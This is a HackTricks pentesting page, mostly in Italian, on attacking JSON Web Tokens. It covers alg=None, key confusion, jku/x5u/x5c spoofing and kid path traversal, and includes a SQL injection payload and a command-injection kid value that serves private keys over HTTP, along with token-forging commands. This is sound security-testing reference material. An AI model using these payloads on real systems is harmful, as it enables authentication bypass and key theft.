hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

282 lines
18 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnerabilità JWT (Json Web Tokens)
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
{% embed url="https://www.stmcyber.com/careers" %}
**Parte di questo post si basa sul fantastico post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autore del grande strumento per pentestare i JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Vittorie Veloci**
Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con modalità `All Tests!` e aspetta le righe verdi.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web controlla in modo errato il JWT:
![](<../.gitbook/assets/image (935).png>)
Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Puoi anche utilizzare l'[**Estensione Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) per lanciare attacchi JWT da Burp.
### Modifica i dati senza modificare nulla
Puoi semplicemente modificare i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
#### **La firma del token viene controllata?**
Per verificare se la firma di un JWT viene verificata:
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
* Un cambiamento nella pagina restituita indica anche una verifica.
* Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la modifica delle affermazioni del payload.
### Origine
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, necessitando ulteriori indagini.
* I token originati dal lato server indicano un processo sicuro.
### Durata
Controlla se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
### Brute-force HMAC secret
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Modifica l'algoritmo in None
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per cambiare diversi valori all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
### Cambia l'algoritmo RS256(asimmetrico) in HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ogni messaggio.\
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
Se cambi l'algoritmo da RS256 a HS256, il codice di backend utilizza la chiave pubblica come chiave segreta e poi utilizza l'algoritmo HS256 per verificare la firma.
Quindi, utilizzando la chiave pubblica e cambiando RS256 in HS256, potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nuova chiave pubblica all'interno dell'intestazione
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
Questo può essere fatto con l'estensione "JSON Web Tokens" di Burp.\
(Invia la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
### Spoofing JWKS
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che utilizzano un'affermazione di intestazione "jku". Questa affermazione dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
* **Valutazione dei Token con Intestazione "jku"**:
* Verifica l'URL dell'affermazione "jku" per assicurarti che porti al file JWKS appropriato.
* Modifica il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
* **Monitoraggio per Interazione HTTP**:
* Osservare le richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la tua posizione JWKS personale per facilitare il test.
* **Comando per `jwt_tool`**:
* Esegui il seguente comando per simulare lo scenario con `jwt_tool`:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Panoramica dei Problemi Kid
Un'affermazione di intestazione opzionale nota come `kid` è utilizzata per identificare una chiave specifica, che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questa affermazione aiuta a selezionare la chiave appropriata per verificare la firma di un token.
#### Rivelare la Chiave tramite "kid"
Quando l'affermazione `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue variazioni. Ad esempio, se viene specificato `"kid":"key/12345"`, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella radice web.
#### Traversata del Percorso con "kid"
L'affermazione `kid` potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Alterare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt_tool, come dimostrato di seguito:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
#### SQL Injection via "kid"
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection through "kid"
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u and jku
#### jku
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **controlla l'URL fornito**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Poi puoi usare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro jku al certificato creato.** Per creare un certificato jku valido, puoi scaricare quello originale e cambiare i parametri necessari.
Puoi ottenere i parametri "e" e "n" da un certificato pubblico usando:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato di certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. La sicurezza del trasporto è necessaria per trasferire i certificati.
Prova a **cambiare questo header in un URL sotto il tuo controllo** e verifica se viene ricevuta qualche richiesta. In tal caso, **potresti manomettere il JWT**.
Per forgiare un nuovo token utilizzando un certificato controllato da te, devi creare il certificato ed estrarre le chiavi pubbliche e private:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Poi puoi usare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro x5u al certificato .crt creato.**
![](<../.gitbook/assets/image (956).png>)
Puoi anche abusare di entrambe queste vulnerabilità **per SSRFs**.
#### x5c
Questo parametro può contenere il **certificato in base64**:
![](<../.gitbook/assets/image (1119).png>)
Se l'attaccante **genera un certificato autofirmato** e crea un token contraffatto utilizzando la corrispondente chiave privata e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Chiave Pubblica Incorporata (CVE-2018-0114)
Se il JWT ha incorporato una chiave pubblica come nel seguente scenario:
![](<../.gitbook/assets/image (624).png>)
Utilizzando il seguente script nodejs è possibile generare una chiave pubblica da quei dati:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
È possibile generare una nuova chiave privata/pubblica, incorporare la nuova chiave pubblica all'interno del token e utilizzarla per generare una nuova firma:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Puoi ottenere "n" ed "e" utilizzando questo script nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finalmente, utilizzando la chiave pubblica e privata e i nuovi valori "n" ed "e", puoi utilizzare [jwt.io](https://jwt.io) per forgiare un nuovo JWT valido con qualsiasi informazione.
### ES256: Rivelare la chiave privata con lo stesso nonce
Se alcune applicazioni utilizzano ES256 e usano lo stesso nonce per generare due jwt, la chiave privata può essere ripristinata.
Ecco un esempio: [ECDSA: Rivelare la chiave privata, se viene utilizzato lo stesso nonce (con SECP256k1)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
Il claim JTI (JWT ID) fornisce un identificatore unico per un token JWT. Può essere utilizzato per prevenire la ripetizione del token.\
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita).
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Altri attacchi
**Attacchi di Relay Cross-service**
È stato osservato che alcune applicazioni web si affidano a un servizio JWT fidato per la generazione e gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se si osserva l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di registrarsi per un account su un altro cliente di quel servizio utilizzando lo stesso nome utente/email. Dovrebbe quindi essere fatto un tentativo di ripetere il token ottenuto in una richiesta al target per vedere se viene accettato.
* Un problema critico potrebbe essere indicato dall'accettazione del tuo token, potenzialmente consentendo la falsificazione dell'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si registra su un'applicazione di terze parti, poiché questo potrebbe entrare in un'area grigia legale.
**Controllo di Scadenza dei Token**
La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. L'RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
### Strumenti
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}